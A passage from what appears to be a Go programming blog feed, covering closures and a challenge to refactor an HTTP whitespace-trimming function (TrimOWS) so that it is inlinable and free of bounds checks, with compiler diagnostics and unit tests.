</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">truth</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">f</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">func</span>() <span style="color:#66d9ef">bool</span> { <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">truth</span> }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">f</span>())
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>true
</span></span></code></pre></div><p>So far, nothing to write home about. However, the power of closures lies in
their ability to <em>update</em> their free variables!  Such closures
essentially are <em>stateful</em> functions: functions that maintain a state
(composed of their free variables) from one invocation to the next.</p>
<p>In the following example (<a href="https://go.dev/play/p/kyfFfndk6mB" target="_blank" rel="noopener">playground</a>), factory function
<code>falseAfterN</code> returns a closure that captures a local variable named <code>truth</code>,
updates that variable during each invocation, and varies its boolean results on
the basis of the free variable&rsquo;s value:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">falseAfterN</span>(<span style="color:#a6e22e">n</span> <span style="color:#66d9ef">uint</span>) <span style="color:#66d9ef">func</span>() <span style="color:#66d9ef">bool</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">count</span> <span style="color:#66d9ef">uint</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>() <span style="color:#66d9ef">bool</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">count</span> &lt; <span style="color:#a6e22e">n</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">count</span><span style="color:#f92672">++</span>
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">n</span> = <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">f</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">falseAfterN</span>(<span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">n</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d %t\n&#34;</span>, <span style="color:#a6e22e">i</span>, <span style="color:#a6e22e">f</span>())
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If you&rsquo;ve been writing Go for some time, you&rsquo;ve likely used closures, perhaps
even without realising that you were.  In the classic example of a concurrent
program (<a href="https://go.dev/play/p/usL33VcLdPg" target="_blank" rel="noopener">playground</a>) shown below, the anonymous function
is a closure, since it captures (and acts on) variables <code>i</code> and <code>wg</code>, which are
both declared in an outer scope:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;sync&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">wg</span> <span style="color:#a6e22e">sync</span>.<span style="color:#a6e22e">WaitGroup</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#ae81ff">10</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">wg</span>.<span style="color:#a6e22e">Add</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">go</span> <span style="color:#66d9ef">func</span>() {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">defer</span> <span style="color:#a6e22e">wg</span>.<span style="color:#a6e22e">Done</span>()
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">i</span>)
</span></span><span style="display:flex;"><span>		}()
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">wg</span>.<span style="color:#a6e22e">Wait</span>()
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>]]></content>
        </item>
        
        <item>
            <title>Challenge: make this Go function inlinable and free of bounds checks</title>
            <link>//jub0bs.com/posts/2025-04-30-inlinability-challenge/</link>
            <pubDate>Wed, 30 Apr 2025 20:45:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2025-04-30-inlinability-challenge/</guid>
            <description>&lt;p&gt;In this post, I challenge you to refactor a small &lt;a href=&#34;https://go.dev&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Go&lt;/a&gt; function in such a
way as to make it inlinable and free of bounds checks, for better performance.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: this post assumes version &lt;a href=&#34;https://go.dev/doc/devel/release#go1.24.minor&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;1.24.2&lt;/a&gt; of the (official) &lt;a href=&#34;https://go.dev/src/cmd/compile/README&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Go
compiler&lt;/a&gt;; you may get different results with other versions of the Go
compiler or with other implementations of the Go language.&lt;/p&gt;
&lt;h2 id=&#34;function-inlining--bounds-check-elimination&#34;&gt;Function inlining &amp;amp; bounds-check elimination &lt;a href=&#34;#function-inlining--bounds-check-elimination&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Some familiarity with function inlining and bounds-check elimination is a
prerequisite for attempting my challenge.  The following three sections serve
as a crash course on those topics. Feel free to skip straight to &lt;a href=&#34;#can-you-make-this-function-inlinable-and-free-of-bounds-checks&#34;&gt;the challenge
itself&lt;/a&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this post, I challenge you to refactor a small <a href="https://go.dev" target="_blank" rel="noopener">Go</a> function in such a
way as to make it inlinable and free of bounds checks, for better performance.</p>
<p><strong>Disclaimer</strong>: this post assumes version <a href="https://go.dev/doc/devel/release#go1.24.minor" target="_blank" rel="noopener">1.24.2</a> of the (official) <a href="https://go.dev/src/cmd/compile/README" target="_blank" rel="noopener">Go
compiler</a>; you may get different results with other versions of the Go
compiler or with other implementations of the Go language.</p>
<h2 id="function-inlining--bounds-check-elimination">Function inlining &amp; bounds-check elimination <a href="#function-inlining--bounds-check-elimination">¶</a></h2>
<p>Some familiarity with function inlining and bounds-check elimination is a
prerequisite for attempting my challenge.  The following three sections serve
as a crash course on those topics. Feel free to skip straight to <a href="#can-you-make-this-function-inlinable-and-free-of-bounds-checks">the challenge
itself</a>.</p>
<h3 id="function-inlining-101">Function inlining 101 <a href="#function-inlining-101">¶</a></h3>
<p><a href="https://en.wikipedia.org/wiki/Inline_expansion" target="_blank" rel="noopener">Inlining</a> is a compiler strategy that can roughly be described as
&ldquo;substituting the body of a function for calls to that function&rdquo;. Because it
eliminates some function-call overhead, inlining often results in faster
program execution.  However, function inlining also increases the size of the
resulting binaries, and indiscriminate inlining could cause compilers to
produce prohibitively large binaries.  Therefore, compilers typically restrict
eligibility for inlining to functions that they deem &ldquo;simple enough&rdquo;.</p>
<p>For each function, the Go compiler allocates an inlining budget and computes an
inlining cost.  If a function&rsquo;s inlining cost does not exceed its budget, the
compiler deems the function <em>eligible for inlining</em> (a.k.a. <em>inlinable</em>) and
inlines it; otherwise, it doesn&rsquo;t.  At the time of writing (<a href="https://go.dev/doc/devel/release#go1.24.minor" target="_blank" rel="noopener">Go
1.24.2</a>), <a href="https://cs.opensource.google/go/go/&#43;/refs/tags/go1.24.2:src/cmd/compile/internal/inline/inl.go;l=50" target="_blank" rel="noopener">the default inlining budget is
80</a>, but the compiler may, thanks to <a href="https://go.dev/doc/pgo" target="_blank" rel="noopener">profile-guided
optimisation (PGO)</a>, decide to increase the inlining budget for functions
called on the hot path; for this post, let&rsquo;s keep things simple and ignore PGO,
though.  However, the presence of some language constructs (such as
<a href="https://en.wikipedia.org/wiki/Recursion_%28computer_science%29" target="_blank" rel="noopener">recursion</a>, <a href="https://go.dev/ref/spec#Go_statements" target="_blank" rel="noopener">&ldquo;go&rdquo; statements</a>, <a href="https://go.dev/ref/spec#Defer_statements" target="_blank" rel="noopener">&ldquo;defer&rdquo;
statements</a>, and calls to <a href="https://pkg.go.dev/builtin#recover" target="_blank" rel="noopener">the <code>recover</code> function</a>) in a
function outright bars the latter from being inlined.  The Go compiler&rsquo;s
inlining strategy is not specified by the language itself and may change from
one release to the next.</p>
<p>The most straightforward way to determine whether a function is eligible for
inlining is to run a command of the following form and inspect its output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-m=2&#39;</span> &lt;package-path&gt; 2&gt;&amp;<span style="color:#ae81ff">1</span> | grep &lt;<span style="color:#66d9ef">function</span>-name&gt;
</span></span></code></pre></div><hr>
<p>Even if a function is inlinable, you may occasionally want to prevent it from
being inlined; you can instruct the compiler not to inline a function by adding
<a href="https://pkg.go.dev/cmd/compile#hdr-Function_Directives" target="_blank" rel="noopener">a <code>//go:noinline</code> directive</a> above the function&rsquo;s declaration. But you cannot
force the compiler to inline arbitrary functions, for reasons explained above;
a more thorough rationale for this limitation can be found in <a href="https://go.dev/issue/21536" target="_blank" rel="noopener">issue
#21536</a>.</p>
<hr>
<p>By refactoring an initially non-inlinable function (and/or by relaxing its
semantics), you can sometimes lower a function&rsquo;s inlining cost to the point of
making it eligible for inlining; however, unless you&rsquo;re very familiar with the
Go compiler&rsquo;s <a href="https://cs.opensource.google/go/go/&#43;/refs/tags/go1.24.2:src/cmd/compile/internal/inline" target="_blank" rel="noopener">inliner</a> (and keep abreast of changes brought to it
by maintainers of the Go project), you may (rightly) feel that making a
function eligible for inlining is more an art than a science.</p>
<h3 id="bounds-check-elimination-101">Bounds-check elimination 101 <a href="#bounds-check-elimination-101">¶</a></h3>
<p>I touched upon <a href="https://en.wikipedia.org/wiki/Bounds-checking_elimination" target="_blank" rel="noopener">bounds-check elimination (BCE)</a> in <a href="https://jub0bs.com/posts/2025-02-28-cost-of-panic-recover/" target="_blank" rel="noopener">a post</a>
published earlier this year on this blog; allow me to quote it:</p>
<blockquote>
<p>[&hellip;] Go is said to be memory-safe;
in particular, <a href="https://go.dev/ref/spec#Index_expressions" target="_blank" rel="noopener">per the language specification</a>,
implementations must trigger a run-time panic
if a slice-indexing operation is ever out of bounds.
Such bounds checks are relatively cheap, but they are not free.
When the compiler can prove that some slice access cannot be out of bounds,
it may <a href="https://en.wikipedia.org/wiki/Bounds-checking_elimination" target="_blank" rel="noopener">omit, for better performance, the corresponding bounds check</a>
from the resulting executable.</p>
</blockquote>
<hr>
<p>What I wrote about slices in that post is also true of strings, which, under
the hood, are little more than slices of bytes.</p>
<hr>
<p>Bounds-check elimination, like inlining strategies, remains an implementation
detail; it is not specified by the language itself and may change from
one release of the Go compiler to the next.</p>
<p>To identify where the Go compiler introduces bounds checks in a package, run a
command of the following form:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-d=ssa/check_bce/debug=1&#39;</span> &lt;package-path&gt;
</span></span></code></pre></div><p>The presence of bounds checks is not systematically detrimental to performance,
and eliminating all bounds checks from a program often proves impossible
anyway.  However, eliminating some bounds checks, perhaps by <em>hoisting</em> them
out of loops, typically is conducive to faster program execution. You can find
<a href="https://github.com/search?q=repo%3Agolang%2Fgo&#43;%2F%28hoist%7Celiminate%29&#43;bounds&#43;checks%2F&amp;type=code" target="_blank" rel="noopener">instances</a> of hoisting bounds checks out of loops in Go&rsquo;s standard
library.</p>
<p>Despite frequent improvements to the Go compiler&rsquo;s <a href="https://cs.opensource.google/go/go/&#43;/refs/tags/go1.24.2:src/cmd/compile/internal/ssa/prove.go" target="_blank" rel="noopener">BCE logic</a>, you
sometimes need to refactor your code in order to convince the compiler to
eliminate or displace some bounds checks.  This too is more an art than a
science, and typically requires some trial and error.</p>
<h3 id="a-delicate-balancing-act">A delicate balancing act <a href="#a-delicate-balancing-act">¶</a></h3>
<p>Function inlining and BCE are closely intertwined. Inlinability sometimes comes
at the cost of a couple of additional bounds checks; conversely, eliminating
some bounds checks may deprive a function from its eligibility for inlining.
But in some lucky cases, you can have your cake and eat it too!</p>
<p>Here is a tip that I&rsquo;ve learnt from experience: eliminating bounds checks first
and achieving inlinability second tends to be easier than the other way
around or doing both in one fell swoop.</p>
<h2 id="can-you-make-this-function-inlinable-and-free-of-bounds-checks">Can you make this function inlinable and free of bounds checks? <a href="#can-you-make-this-function-inlinable-and-free-of-bounds-checks">¶</a></h2>
<p>Consider the following source file (which I&rsquo;ve uploaded to <a href="https://gist.github.com/jub0bs/0aca3c6bd041e838fe4add58a060be35" target="_blank" rel="noopener">a Gist</a>, for
your convenience):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">headers</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// TrimOWS trims up to n bytes of optional whitespace (OWS)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// from the start of and/or the end of s.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// If no more than n bytes of OWS are found at the start of s</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// and no more than n bytes of OWS are found at the end of s,</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// it returns the trimmed result and true.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Otherwise, it returns some unspecified string and false.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">TrimOWS</span>(<span style="color:#a6e22e">s</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">n</span> <span style="color:#66d9ef">int</span>) (<span style="color:#66d9ef">string</span>, <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">s</span>, <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">ok</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">trimLeftOWS</span>(<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">ok</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">ok</span> = <span style="color:#a6e22e">trimRightOWS</span>(<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">ok</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">s</span>, <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">trimLeftOWS</span>(<span style="color:#a6e22e">s</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">n</span> <span style="color:#66d9ef">int</span>) (<span style="color:#66d9ef">string</span>, <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> len(<span style="color:#a6e22e">s</span>) &gt; <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">i</span> &gt; <span style="color:#a6e22e">n</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">isOWS</span>(<span style="color:#a6e22e">s</span>[<span style="color:#ae81ff">0</span>]) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span> = <span style="color:#a6e22e">s</span>[<span style="color:#ae81ff">1</span>:]
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">s</span>, <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">trimRightOWS</span>(<span style="color:#a6e22e">s</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">n</span> <span style="color:#66d9ef">int</span>) (<span style="color:#66d9ef">string</span>, <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> len(<span style="color:#a6e22e">s</span>) &gt; <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">i</span> &gt; <span style="color:#a6e22e">n</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">isOWS</span>(<span style="color:#a6e22e">s</span>[len(<span style="color:#a6e22e">s</span>)<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span> = <span style="color:#a6e22e">s</span>[:len(<span style="color:#a6e22e">s</span>)<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">s</span>, <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// See https://httpwg.org/specs/rfc9110.html#whitespace.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">isOWS</span>(<span style="color:#a6e22e">b</span> <span style="color:#66d9ef">byte</span>) <span style="color:#66d9ef">bool</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;\t&#39;</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39; &#39;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The implementation of <code>TrimOWS</code> above incurs no bounds checks, as evidenced by
the empty output of the following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-d=ssa/check_bce/debug=1&#39;</span>
</span></span><span style="display:flex;"><span>$
</span></span></code></pre></div><p>However, it is not inlinable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-m=2&#39;</span> 2&gt;&amp;<span style="color:#ae81ff">1</span> | grep TrimOWS
</span></span><span style="display:flex;"><span>./ows.go:9:6: cannot inline TrimOWS: <span style="color:#66d9ef">function</span> too complex: <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>    cost <span style="color:#ae81ff">130</span> exceeds budget <span style="color:#ae81ff">80</span>
</span></span></code></pre></div><p>Here is my challenge to you: can you refactor function <code>TrimOWS</code> so that it be
inlinable (without relying on profile-guided optimisation) and free of bounds
checks?</p>
<p>To allow you to catch bugs as you refactor the code, I&rsquo;ve included a suite of
unit tests; and to allow you to later measure performance changes between
implementations, I&rsquo;ve also included some benchmarks:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">headers</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;testing&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">maxOWS</span> = <span style="color:#ae81ff">1</span> <span style="color:#75715e">// number of OWS bytes tolerated on either side</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">trimOWStests</span> = []<span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">desc</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">s</span>    <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">want</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ok</span>   <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>}{
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">desc</span>: <span style="color:#e6db74">&#34;empty&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>:    <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">want</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ok</span>:   <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>	}, {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">desc</span>: <span style="color:#e6db74">&#34;no OWS&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>:    <span style="color:#e6db74">&#34;foo&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">want</span>: <span style="color:#e6db74">&#34;foo&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ok</span>:   <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>	}, {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">desc</span>: <span style="color:#e6db74">&#34;internal OWS&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>:    <span style="color:#e6db74">&#34;foo  \t\tbar&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">want</span>: <span style="color:#e6db74">&#34;foo  \t\tbar&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ok</span>:   <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>	}, {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">desc</span>: <span style="color:#e6db74">&#34;leading and trailing OWS&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>:    <span style="color:#e6db74">&#34;\tfoo &#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">want</span>: <span style="color:#e6db74">&#34;foo&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ok</span>:   <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>	}, {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">desc</span>: <span style="color:#e6db74">&#34;a tolerated amount of OWS around non-OWS&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>:    <span style="color:#e6db74">&#34; a &#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">want</span>: <span style="color:#e6db74">&#34;a&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ok</span>:   <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>	}, {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">desc</span>: <span style="color:#e6db74">&#34;a tolerated amount of OWS and nothing else&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>:    <span style="color:#e6db74">&#34;\t &#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">want</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ok</span>:   <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>	}, {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">desc</span>: <span style="color:#e6db74">&#34;non-OWS whitespace&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>:    <span style="color:#e6db74">&#34;\nfoo\t&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">want</span>: <span style="color:#e6db74">&#34;\nfoo&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ok</span>:   <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>	}, {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">desc</span>: <span style="color:#e6db74">&#34;too much leading OWS&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>:    <span style="color:#e6db74">&#34; \tfoo\t&#34;</span>,
